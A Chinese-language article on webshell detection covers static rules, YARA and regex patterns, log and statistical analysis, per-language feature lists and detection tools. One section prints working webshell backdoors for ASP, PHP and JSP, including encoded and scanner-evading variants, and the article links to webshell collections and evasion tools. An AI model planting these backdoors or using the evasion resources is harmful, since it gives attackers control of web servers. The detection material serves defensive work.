一、WebShell检测方式

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以是指定以服务端动态脚本形式存在的一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

Webshell一般是指以服务端动态脚本形式存在的一种网页后门。在入侵检测的过程中,检测检测Webshell无疑是一大重点,比较常见的检测手法有:

1. 文件内容检测(静态检测)
2. 文件行为检测(动态检测)

其中,静态检测是比较简单有效的检测Webshell的手段之一。根据Webshell的文件特征建立异常模型,并使用大量的Webshell样本对模型进行训练,通过诸如异常函数、关键代码以及文件内容与普通业务代码的相似度等等关键点来进行分析检测。

WebShell检测模型

Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。

黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。棘手的是webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然不是绝对的),只有在应用层进行检测。

黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

静态检测

静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。优点是快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。缺点漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。对于单站点的网站,用静态检测还是有很大好处,配合人工,能快速定位webshell,但是如果是一个成千上万站点的大型企业,再人肉那工作量会很大。

所以用这样一种思路:强弱特征。即把特征码分为强弱两种特征,强特征命中则必是webshell;弱特征由人工去判断。

加入一种强特征,即把流行webshell用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。

要解决误报和漏报,就不能拘泥于代码级别了,需要人工运维来处理。

可以换个角度考虑问题:文件系统。我们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,如果我的Web目录无缘无故多了个nobody属主的文件,这里就有问题了。最理想的办法是需要制度和流程来建设一个web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发现。

yara规则:

        $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase  // ;eval( <- this is dodgy$eval_comment = /(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\/\*[^\*]*\*\/\(/ nocase  // eval/*lol*/( <- this is dodgy$b374k = "'ev'.'al'"$align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/  //b374k$weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/  // weevely3 launcher$c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/  // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html$nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano$ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano$variable_variable = /\${\$[0-9a-zA-z]+}/$too_many_chr = /(chr\([\d]+\)\.){8}/  // concatenation of more than eight `chr()`$concat = /(\$[^\n\r]+\.){5}/  // concatenation of more than 5 words$concat_with_spaces = /(\$[^\n\r]+\. ){5}/  // concatenation of more than 5 words, with spaces$var_as_func = /\$_(GET|POST|COOKIE|REQUEST|SERVER)\s*\[[^\]]+\]\s*\(/$comment = /\/\*([^*]|\*[^\/])*\*\/\s*\(/  // eval /* comment */ (php_code)

静态检测的webshell工具:

GitHub - he1m4n6a/findWebshell: findWebshell是一款基于python开发的webshell检测工具。

GitHub - nbs-system/php-malware-finder

注:以下所有特征值汇总全部均被采用为webshell的静态检测,需要在工具扫描后对扫描的文件进行人为判定确定其是否为webshell,以防止误报情况的发生。

动态检测

Webshell分析检测层,hook可疑函数

特征维度:

  • 文本语义(n-gram/TF-IDF/word2vec/CNN/RNN)
  • 统计特征(信息熵/重合指数/最长词/可压缩比)
  • 历史数据特征(计算单个文件的落盘时间/文件创建进程/文件类型/代码风格/权限和同目录下其他文件的"距离")
  • OP指令层特征(指令/调用链/参数文本特征)
  • 动态特征(文件读写/网络连接,可依靠沙箱或旁路执行能力解决编码混淆类case)

webshell传到服务器了,黑客总要去执行,webshell执行时刻表现出来的特征,我们称为动态特征。webshell通信是HTTP协议,只要我们把webshell特有的HTTP请求/响应做成特征库,加到IDS里面去检测所有的HTTP请求就好了。

webshell起来如果执行系统命令的话,也会有进程,Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。

Webshell总会有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。

缺点也很明显,黑客只要利用原文件就很轻易绕过了,并且部署代价高,网站时常更新的话规则也要不断添加。

还有一个思路利用函数劫持,把eval改成alert就好了。类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),当有webshell调用的时候就可以发现异常。已js为例(php,asp等语言思路一样的,都是保存原函数,然后从新定义原函数,最后在调用保存的原函数),比如下面就是把eval重载,还可以弹出个危险提示等,吓退一些没经验黑客。

<script type="text/javascript">
<!--var _eval = eval;
eval = function(s) {if (confirm("eval被调用\n\n调用函数\n" + eval.caller + "\n\n调用参数\n" + s)) {_eval(s);}

工具:

GitHub - 404notf0und/AI-for-Security-Learning: 安全场景、基于AI的安全算法和安全数据分析业界实践

日志分析

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。例如:一个平时是GET的请求突然有了POST请求并且返回代码为200、某个页面的访问者IP、访问时间具有规律性等。

webshell的访问特征(主要特征)

  1. 少量ip对其发起访问
  2. 总的访问次数少
  3. 该页面属于孤立页面

当然不是所有的孤立页面都是webshell,以下情况也会造成孤立页面
(1)隐藏管理后台等正常孤立页面的访问
(2)扫描器行为,常见漏洞扫描,PoC扫描,Webshell扫描(日志中经常可以看到常见webshell路径加一句话payload的扫描)——这是最主要的干扰数据,需要剔除
对于情况(1)采用白名单的方式,对于情况(2)扫描器识别
(p.s. 爬虫技术、指纹识别技术、扫描器识别(广义的可衍生到人机识别)可以称为web安全技术的三驾马车,总也绕不过去)

优点:采用了一定数据分析的方式,网站的访问量达到一定量级时这种检测方法的结果具有较大参考价值。

缺点:存在一定误报,对于大量的访问日志,检测工具的处理能力和效率会比较低。

提取特定时间段内特定IP对应用的访问行为:

①提交数据(POST/GET)的熵

②URI的访问频率

③请求头中有/无Referer字段

④提交数据(POST/GET)中key的出现频率

⑤请求数据(POST/GET)中key关联的页面数

基于文件的文本属性

① 文件的创建时间

② 文件的修改时间

③ 文件的文件权限

④ 文件的文件所有者

统计学

webshell由于往往经过了编码和加密,会表现出一些特别的统计特征,根据这些特征统计学习。
典型的代表: NeoPI -- GitHub - CiscoCXSecurity/NeoPI

NeoPi使用以下五种检测方法:

  1. 信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性;
  2. 最长单词(LongestWord):最长的字符串也许潜在的被编码或被混淆;
  3. 重合指数(Indexof Coincidence):低重合指数预示文件代码潜在的被加密或被混效过;
  4. 特征(Signature):在文件中搜索已知的恶意代码字符串片段;
  5. 压缩(Compression):对比文件的压缩比

采用这种检测方法也存在明显的弱点,NeoPi的检测重心在于识别混淆代码,它常常在识别模糊代码或者混淆编排的木马方面表现良好。未经模糊处理的代码对于NeoPi的检测机制较为透明。如果代码整合于系统中的其它脚本之上,这种“正常”的文件极可能无法被NeoPi识别出来。

统计内容:

文件的文件重合指数index of coincidenc(IC)

文件的信息熵

文件中的最长单词

文件的可压缩比

语法检测

语法语义分析形式,是根据php语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式。这样可以完美解决漏报的情况。但误报上,仍存在问题。

public function startLexing($code)
{if (preg_match('/<\?(php)?\s*@Zend;[\r\n|\n]+\d+;/', $code)) {$this->errMsg = 'Encrypt with Zend optimizer.';return false;}$this->resetErrors();$this->tokens = token_get_all($code);$this->code = $code;$this->pos  = -1;$this->line =  1;return $this->checkError();
}

误报问题所在,一是被检测文件是否为合法php语法文件,token_get_all函数的实现,是不验证是否问合法php语法文件的,只是对其进行扫描,分析。服务器云判断是一种根据恶意代码串的指纹,根据大量后门数据,做语法、语义分析,做业务逻辑分析,理解这段代码的用途,给出其是否为恶意代码的定位,而其他使用者,直接可以得到该代码片段是否为恶意代码的结果反馈。Pecker Scanner首先是基于语法分析,剥离token、注释、字符串、变量、语言结构,再进行php语法检测,提取恶意代码的扫描工具,来解决漏报问题。同时支持服务器云判断,尽量避免误报问题。基于语法的pecker检测工具。

变形、窃密型webshell检测

变形webshell可以由上面所说的统计学NeoPI工具检测,也可以动态检测。比如,一个正常的程序员如果使用eval、system是不会刻意的转换隐藏的,如果发现某个函数执行了,代码中却找不到这个函数名,我们认为这是一个异常行为。所以变形加密也可以用这种方式查找,在日志中找到某个文件执行system等命令,但在原文件中没找到这个文件代码,说明文件是后门文件。

针对窃密型Webshell必须具有操作数据库的能力,可以引申出一种新的检测方法,通过分析正常WEB脚本文件和窃密型Webshell对数据库操作的差异进行分析是本检测方法所重点研究的方向。正常情况下WEB站点进行数据操作的过程应该是重复性且较为复杂的查询过程,这种查询通常精确度非常高,查询过程不会出现类似于“select * from”这种查询语句。正常的WEB脚本在进行数据库操作的过程中也不会出现跨越数据库查询的情况,一旦出现这种现象基本可以判断为非正常的WEB脚本操作过程。

就以上思路设计如下的检测方案:

  • 审计数据操作记录。通过审计数据库操作记录可以单独的为每一个WEB站点甚至WEB站点中的每一个脚步文件建立查询请求模型,通过几天甚至数月的自我学习过程来学习并维护一份查询请求数据库。该数据库的内容包含了每次查询操作的详细信息、请求归类和分析结果。并且建立动态查询请求规则,Agent一旦检测到违反该规则的查询请求后会向Server端传递相关信息,Server端再结合其它的扫描过程综合判断发起请求的文件是否为Webshell,并最终决定是否向管理员报警。

二、ASP类特征值汇总

asp语法较为固定单一,主要利用的是asp函数的特性来进行随意变换可以把execute(result)变成eval(“execute(result)”),因为在asp里面,像eval和execute,会把字符串当作表达式来执行,而且使用eval嵌套execute也是可行的。

(1). asp一句话

可以使用eval 、eval( 、eval request(、execute、execute(、execute request(、ExecuteGlobal等做为特征值进行扫描结果。

(2). 数组

可以使用ute、Ute、UTe、UTE等做为特征值进行扫描结果。

(3). 加密编码

可以使用VBScript.encode、VBScript.Encode、65000、tseuqer lave等做为特征值进行扫描结果。

三、ASPX类特征值汇总

一般的aspx站点应该是支持asp的,对于aspx脚本对于函数参数的编码也能运行。

(1). aspx一句话

可以使用eval、eval(、popup、execute等做为特征值进行扫描结果。

(2). 脚本执行类

可以使用wscript.shell、StartInfo.UseShellExecute、Server.MapPath等做为特征值进行扫描结果。

(3). 程序执行类

可以使用Process、Star等做为特征值进行扫描结果。

四、php类特征值汇总

由于php是弱类型语言,弱类型语言的一个特性就是是将函数以string形式传递,除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()外,其他函数变成字符串也会被当作函数执行,例如$post=file_get_contents("php://input"); 和$post="file_get_contents"("php://input");是等价的,通过字符串进行拼接后<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?> 会当做assert函数来处理的。

(1). 调用系统命令执行指令

system会执行传入的命令例如whoami。

其他的命令执行类函数例如passthru()、exec()、pcntl_exe()、shell_exec( )、popen()、proc_open()、`` 反引号等都允许运行外部程序。

system、system(、passthru、exec、system、chroot、scandir、chgrp、chown、shell_exec、proc_open、proc_get_status、popen、ini_alter、ini_restore、dl、openlog、syslog、readlink、symlink、popepassthru、stream_socket_server等PHP特征值。

(2). 通过传入代码执行指令

eval会将传入符合php编码规范的$code_str当做代码执行,assert如果传入字符串也会当做PHP代码执行。

例如:

可以使用eval, ev'.'al, eval($_POST, assert, ass'.'ert, assert($_POST, assert($_POST(, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13等做为特征值进行扫描结果。

(3). 通过文件包含执行指令

可以使用require、require_once、include、include_once、file_get_contents、file_put_contents、fputs、fwrite、fopen等做为特征值进行扫描结果。

(4). 通过动态字符串函数调用执行指令(PHP中字符串可以直接作为函数名称被调用)

可以使用$_GET、$_POST、$_REQUEST、$_COOKIE、$_SERVER、$_SESSION、

$GLOBALS[‘_POST’] 等做为特征值进行扫描结果。

(5). 利用序列化/反序列化特性执行指令

PHP中有一些特殊函数可以自动调用,即它们不需要其它函数的调用即可执行自己的代码,考虑到这个特性,这些函数通常被称为魔幻函数或魔幻方法。

可以使用unserialize、serialize等做为特征值进行扫描结果。

(6). 注册系统回调执行指令

可以使用register_shutdown_function、register_tick_function、set_error_handler等做为特征值进行扫描结果。

(7). 利用系统输出缓存技术执行指令

可以使用ob_start、ob_get_contents、ob_end_clean、ob_end_flush、flush、ob_clean、ob_flush等做为特征值进行扫描结果。

注:对于php静态检测规则,其包含的集合是一个无限集合,这个问题可能不是一个数据问题(data problem),而是一个机制问题(mechanism problem)。

由于PHP是一种动态弱类型语言,参数传递、类型转换、函数调用方式都非常灵活。这给开发者带来开发便利的同时,也给攻击者编写各种畸形恶意代码带来了很多便利,对于攻击者来说,充分利用这个机制,只要找到了一个绕过样本,就可以进行大量的局部和全局衍生,创造出很多新的绕过样本。

例如通过以下简单的通过字符串的拼接就能达到混淆代码的目的如下:

建议通过python脚本制作正则规则,对文件进行过滤来检测webshell。

正则规则参考:

rulelist = ['(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))','((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))','(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})','(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))','((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))','(\$(\w+)\s*\(\s.chr\(\d+\)\))','(\$(\w+)\s*\$\{(.*)\})','(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))','(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))','(\$\_\=(.*)\$\_)','(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))','(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))','(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))','((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))','(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))','(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))','((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))','(eval\s*\(\s*\(\s*\$\$(\w+))','((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))','(preg\_replace\s*\((.*)\(base64\_decode\(\$)']

也可以在php.ini配置文件中设置为安全配置进行处理。

五、jsp类特征值汇总

1.BCEL字节码的JSP Webshell

2.自定义类加载器的JSP Webshell

3.ScriptEngine.eval的JSP Webshell

4.URLClassLoader加载远程jar的JSP Webshell

5.javac动态编译class的JSP Webshell

6.jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell

7.java.lang.ProcessImpl JSP Webshell

8.java.lang.ProcessBuilder Webshell

9.MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell

10.SPI机制的ScriptEngineManager自动加载实例化JSP Webshell

11.利用TemplatesImpl触发的JSP Webshell

12.重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell

13.JdbcRowSetImpl进行jndi注入的JSP Webshell

14.Tomcat EL的JSP Webshell

15.BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell

16.VersionHelper包装的URLClassLoader类加载器的JSP Webshell

17.Runtime.exec的JSP Webshell

18.利用TemplatesImpl反序列化的JSP Webshell

六、WebShell特征码汇总

收集一些常见的webshell后门的特征码。

asp特征值

asp一句话木马:

<%%25Execute(request("a"))%%25>
<%Execute(request("a"))%>
%><%execute request("a")%><%
<script language=VBScript runat=server>execute request("a")</script>
<%25Execute(request("a"))%25>
%><%execute request("yy")%>
<%execute request(char(97))%>
<%eval request(char(97))%>
":execute request("value"):a="<script language=VBScript runat=server>if request(chr(35))<>"""" then
ExecuteGlobal request(chr(35))
</script>

在数据库里插入的一句话木马:

┼攠數畣整爠煥敵瑳∨∣┩愾
┼癥污爠煥敵瑳∨≡┩>   密码为: a

utf-7的马:

<%@ codepage=65000%>
<% response.Charset="936"%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

Script Encoder 加密:

<%@ LANGUAGE = VBScript.Encode %>
<%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>

可以躲过雷客图的一句话:

<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

aspx特征值

aspx一句话:

<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>

php特征值

php一句话:

<? php eval($_POST[cmd]);?>
<?php eval($_POST[cmd]);?>
<?php system($_REQUEST['cmd']);?>
<?php eval($_POST[1]);?>​

jsp特征值

jsp一句话后门:

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

收集与整理的各种webshell

各种webshell样本集合:

GitHub - abhinavprasad47/Awsome-shells: Collection of reverse shells

https://github.com/tennc/webshell

https://github.com/ysrc/webshell-sample

https://github.com/xl7dev/WebShell

https://github.com/jkkj93/MINT-WEBSHELL-DEFENDER

https://github.com/tdifg/WebShell

https://github.com/malwares/WebShell

GitHub - fictivekin/webshell: A console-based JavaScripty web client utility (using node.js)

https://github.com/bartblaze/PHP-backdoors

GitHub - xypiie/WebShell: WebShell is a web-based ssh shell.

https://github.com/testsecer/WebShell

GitHub - nbs-system/php-malware-finder

GitHub - BlackArch/webshells: Various webshells. We accept pull requests for additions to this collection.

GitHub - tanjiti/webshellSample: webshell sample for WebShell Log Analysis

https://github.com/dotcppfile/DAws

GitHub - theralfbrown/webshell: Web Shell WSO

https://github.com/gokyle/webshell

GitHub - shmilylty/cheetah: a very fast brute force webshell password tool

GitHub - JohnTroony/php-webshells: Common PHP webshells you might need for your Penetration Testing assignments or CTF challenges. Do not host the file(s) on your server!

GitHub - evilcos/python-webshell: webshell writen in python

GitHub - lhlsec/webshell

GitHub - shewey/webshell

https://github.com/Ni7eipr/webshell

https://github.com/WangYihang/Webshell-Sniper

https://github.com/pm2-hive/pm2-webshell

https://github.com/samdark/yii2-webshell

https://github.com/b1ueb0y/webshell

https://github.com/oneoneplus/webshell

https://github.com/needle-wang/jweevely

https://github.com/tengzhangchao/PyCmd

https://github.com/0x73686974/WebShell

https://github.com/wonderqs/Blade

https://github.com/le4f/aspexec

https://github.com/jijinggang/WebShell

https://github.com/matiasmenares/Shuffle

GitHub - gb-sn/go-webshell: A simple webshell written in Go.

GitHub - BlackHole1/Fastener: Web版webshell

GitHub - blackhalt/WebShells: An list of webshell vulnerability injection.

https://github.com/tomas1000r/webshell

https://github.com/hanzhibin/Webshell

https://github.com/decebel/webShell

https://github.com/Aviso-hub/Webshell

https://github.com/vnhacker1337/Webshell

https://github.com/bittorrent3389/Webshell

https://github.com/anhday22/WebShell

https://github.com/z3robat/webshell

https://github.com/n3oism/webshell

https://github.com/uuleaf/WebShell

https://github.com/onefor1/webshell

https://github.com/cunlin-yu/webshell

https://github.com/roytest1/webshell

https://github.com/backlion/webshell

https://github.com/gsmlg/webshell

https://github.com/health901/webshell

https://github.com/AndrHacK/andrshell

免杀webshell:

GitHub - niemand-sec/RazorSyntaxWebshell: Webshell for Razor Syntax (C#)

GitHub - LuciferoO/webshell-collector: This is a webshell collector project

GitHub - 0verl0ad/HideShell: A tool to ofuscate big webshells (c99, r57...). Can hide your webshell from AV, LMD, Neopi, Web Shell Detector, etc.

辅助过安全狗:

GitHub - Ettack/WebshellCCL: A python script help with webshell bypassing.

一句话WEB端管理工具:

GitHub - boy-hack/WebshellManager: w8ay 一句话WEB端管理工具

https://github.com/liulongfei/web_shell_bopo

https://github.com/zhaojh329/xterminal

https://github.com/juanparati/Webshell

https://github.com/abcdlzy/webshell-manager

https://github.com/buxiaomo/webshell

https://github.com/opetrovski/webshell

https://github.com/opetrovski/webshell

https://github.com/ArchAssault-Project/webshells

中国菜刀jsp端:

https://github.com/alert0/webshellch

这是一个网页版本的xshell:

https://github.com/Skycrab/PySpy

https://github.com/huge818/webshell

七、WebShell检测工具

当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。

1、D盾_Web查杀

阿D出品,使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为。
兼容性:只提供Windows版本。

工具下载地址:http://www.d99net.net/down/WebShellKill_V2.0.9.zip

2、百度WEBDIR+

下一代WebShell检测引擎,采用先进的动态监测技术,结合多种引擎零规则查杀。
兼容性:提供在线查杀木马,免费开放API支持批量检测。

在线查杀地址:WEBDIR+ - WebShell 扫描服务 - OpenRASP 团队

3、河马

WEBSHELL.PUB 专注查杀,也称河马查杀。

免费,GUI/在线WebShell扫描检测查杀。

拥有海量webshell样本和自主查杀技术,采用传统特征+云端大数据双引擎的查杀技术。查杀速度快、精度高、误报低,形成科学查杀鉴定标准,可对同行产品进行查杀能力测评。

专注webshell查杀研究,拥有海量webshell样本和自主查杀技术,采用传统特征+云端大数据双引擎的查杀技术。查杀速度快、精度高、误报低。

兼容性:支持Windows、linux,支持在线查杀。

官方网站:SHELLPUB.COM 专注查杀,永久免费

4、Web Shell Detector

免费,在线检测查杀。

php/python脚本,帮助您查找和识别php/cgi(perl)/asp/aspx shell。Web Shell Detector具有“Web shell”签名数据库,可帮助识别高达99%的“Web shell”。

Webshell Detector具有“ Webshell”签名数据库,可帮助识别高达99%的“ Webshell”。

兼容性:提供php/python脚本,可跨平台,在线检测。

官方网站:Web Shell Detector

github项目地址:

GitHub - emposha/PHP-Shell-Detector: Web Shell Detector – is a php script that helps you find and identify php/cgi(perl)/asp/aspx shells. Web Shell Detector has a “web shells” signature database that helps to identify “web shell” up to 99%.

5、CloudWalker(牧云)

免费,全平台支持,线上线下

CloudWalker(牧云)是长亭推出的一款开源服务器安全管理平台。根据项目计划会逐步覆盖服务器资产管理、威胁扫描、Webshell扫描查杀、基线检测等各项功能。

可执行的命令行版本 Webshell 检测工具。目前,项目已停止更新。

兼容性,提供linux版本,Windows 暂不支持。

在线查杀demo:CT Stack 安全社区

github项目地址:GitHub - chaitin/cloudwalker: CloudWalker Platform

使用:

$ ./webshell-detector /path/to/your-web-root/ /var/www/html /path/to/some-file

输出 HTML 报告:

$ ./webshell-detector -html -output result.html /path/to/web-root/

6、Sangfor WebShellKill

免费,GUI Webshell扫描检测查杀。

WebShellkiller作为一款web后门专杀工具,不仅支持webshell扫描,同时还支持暗链的扫描。这是一款融合了多重检测引擎的查杀工具。在传统正则匹配的基础上,采用模拟执行,参数动态分析监测技术、webshell语义分析技术、暗链隐藏特征分析技术,并根据webshell的行为模式构建了基于机器学习的智能检测模型。传统技术与人工智能技术相结合、静态扫描和动态分析相结合,更精准地检测出WEB网站已知和未知的后门文件。

  • 多维度检测技术
  • 全面精确的暗链检测技术
  • 快速定位处理文件
  • 一键导出报表
  • 一键上传样本
  • 用户自定义敏感词的暗链检测

兼容性:支持Windows、linux

工具下载地址:http://edr.sangfor.com.cn/backdoor_detection.html(已停止访问)

7、深度学习模型检测PHP Webshell

一个深度学习PHP webshell查杀引擎demo,提供在线样本检测。

在线查杀地址:http://webshell.cdxy.me/

8、PHP Malware Finder

PHP-malware-finder尽最大努力检测混淆/狡猾的代码以及使用恶意软件/ webshel​​l常用的PHP函数的文件。

绕过PMF是微不足道的,但它的目标是抓住小孩和白痴,而不是那些有大脑功能的人。通过根据一组YARA规则爬行文件系统和测试文件来执行检测。是的,就这么简单!PMF不是使用基于散列的方法,而是尝试尽可能多地使用语义模式,以检测诸如“a $ _GET变量被解码两次,解压缩,然后传递给某些危险​​的函数,如system”之类的事情。

兼容性:提供linux版本,Windows 暂不支持。

github项目地址:GitHub - jvoisin/php-malware-finder: Detect potentially malicious PHP files

  • 安装 Yara.
  • 这也可以通过一些Linux包管理器实现:sudo apt-get install yara或yum install yara等
  • 下载 php-maleware-finder git clone https://github.com/nbs-system/php-malware-finder.git

使用:

$ ./phpmalwarefinder -h
Usage phpmalwarefinder [-cfhtvl] <file|folder> ...-c  Optional path to a rule file-f  Fast mode-h  Show this help message-t  Specify the number of threads to use (8 by default)-v  Verbose mode

或者使用 yara:

$ yara -r ./php.yar /var/www

9、findWebshell

这个项目是一款基于python开发的webshell检查工具,可以根据特征码匹配检查任意类型的webshell后门。

github项目地址:

GitHub - he1m4n6a/findWebshell: findWebshell是一款基于python开发的webshell检测工具。

10、在线webshell查杀工具

在线查杀地址:在线webshell查杀 - 在线工具

11、MonitorClient

网站源码实时监控及webshell检测查杀工具,工具以C/S构架,当前程序为客户端,分布于同一局域网内的网站服务器,并实时消息传递至服务器端,服务器端项目:​​​​​​MonitorServer

  1. 网站源码实时监控,并将文件异动发送到服务器端。
  2. 监控模式分强制模式和人工模式
    • 强制模式:运行前自动备份以及自检、运行时监控并强制恢复高危行为(新增,删除,修改)所造成的影响(删除新增文件,恢复删除或修改的文件)。
    • 人工模式:监控但不作出任何处理。
  3. webshell检测
    • SSDEEP 文件相似度检测,本项目采集了5000个webshell样本集,去重过滤后生成了1698个SSDEEP值。
    • 静态规则正则匹配,共采集101条规则用于匹配
    • 贝叶斯模型分类加密文件,上述方法无法检测加密后的webshell文件。这里通过NeoPi工具的几个维度(压缩比、信息墒、重合指数、最长单词)来训练数据,区分率达97%
  4. webshell模块提供远程接口用于远程处理webshell。
  5. 加密通信,防止第三方监听窃密。

github项目地址:

GitHub - wh1t3p1g/MonitorClient: 网站实时监控文件变动及webshell检测查杀工具

WebShell特征值汇总与检测工具相关推荐

  1. 模型检测工具汇总(比较全)

    来源:http://www.yingzinanfei.com/2017/02/01/moxingjiancegongjuhuizong/ 面向形式化规格语言的模型检测工具 SMV(Symbolic M ...

  2. 10款常见的Webshell检测工具

    当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞. 本文推荐了10款Webshll检测工具,用于网站入侵排查.当然,目前市场 ...

  3. 常见的webshell检测工具

    1.D盾_Web查杀 使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为. 兼容性:只提供Windows版本. 工具下载地址:http://www.d99net.net/d ...

  4. Unity性能优化之性能检测工具汇总

    Unity Profiler 简述:Unity自带的性能分析工具,可以分析CPU.GPU以及内存消耗,支持真机调试. 官方教程:https://docs.unity3d.com/Manual/Prof ...

  5. coverity代码检测工具介绍_兴业证券:静态代码检测最佳实践

    一. 引言 谷歌发布的代码规范中指出,80% 的缺失是由 20% 的代码所引起的.规范的代码可以消除过于强烈的个人风格,有助于代码在项目间高效的流转:提升代码的正确性,降低低级问题产生的可能性:同时也 ...

  6. 硬盘检测工具Smartmontools安装、部署、使用

    在服务器管理的实际环境中,硬盘是最容易出现问题及发生故障的硬件,而且硬盘中存储着大量重要的数据,万一出现故障所造成的损失也是无法估计的,轻则需要化费大量的时间与精力去做数据恢复,重则硬盘报废,里面重要 ...

  7. Linux下磁盘常见错误分析与检测工具使用

    硬盘缺陷探秘  硬 盘是目前PC 系统中最主要的存储设备,同时硬盘是 PC 系统中出故障率最高的部件.用户在使用硬盘过程中,硬盘出现故障怎么办呢?如果还在质保期内,当然是 尽量找到销售商要求保修.但现 ...

  8. 常用网站木马文件后门检测工具

    我们从网上下载web源码的时候有时会不小心下到带后门的程序,可以使用以下介绍的几款Webshell查杀工具来检测一下,软件查后门需多方对比,有能力请手动验证.资源来源于loc. 一.D盾_Web查杀 ...

  9. Linux应急处置/信息搜集/漏洞检测工具---附脚本下载

    Linux应急处置/信息搜集/漏洞检测工具,支持基础配置/网络流量/任务计划/环境变量/用户信息/Services/bash/恶意文件/内核Rootkit/SSH/Webshell/挖矿文件/挖矿进程 ...

最新文章

  1. 下拉列表JComboBox,列表框JList
  2. 大数据量下的sort
  3. android进出动画有白屏,Android启动白屏原因及解决方案
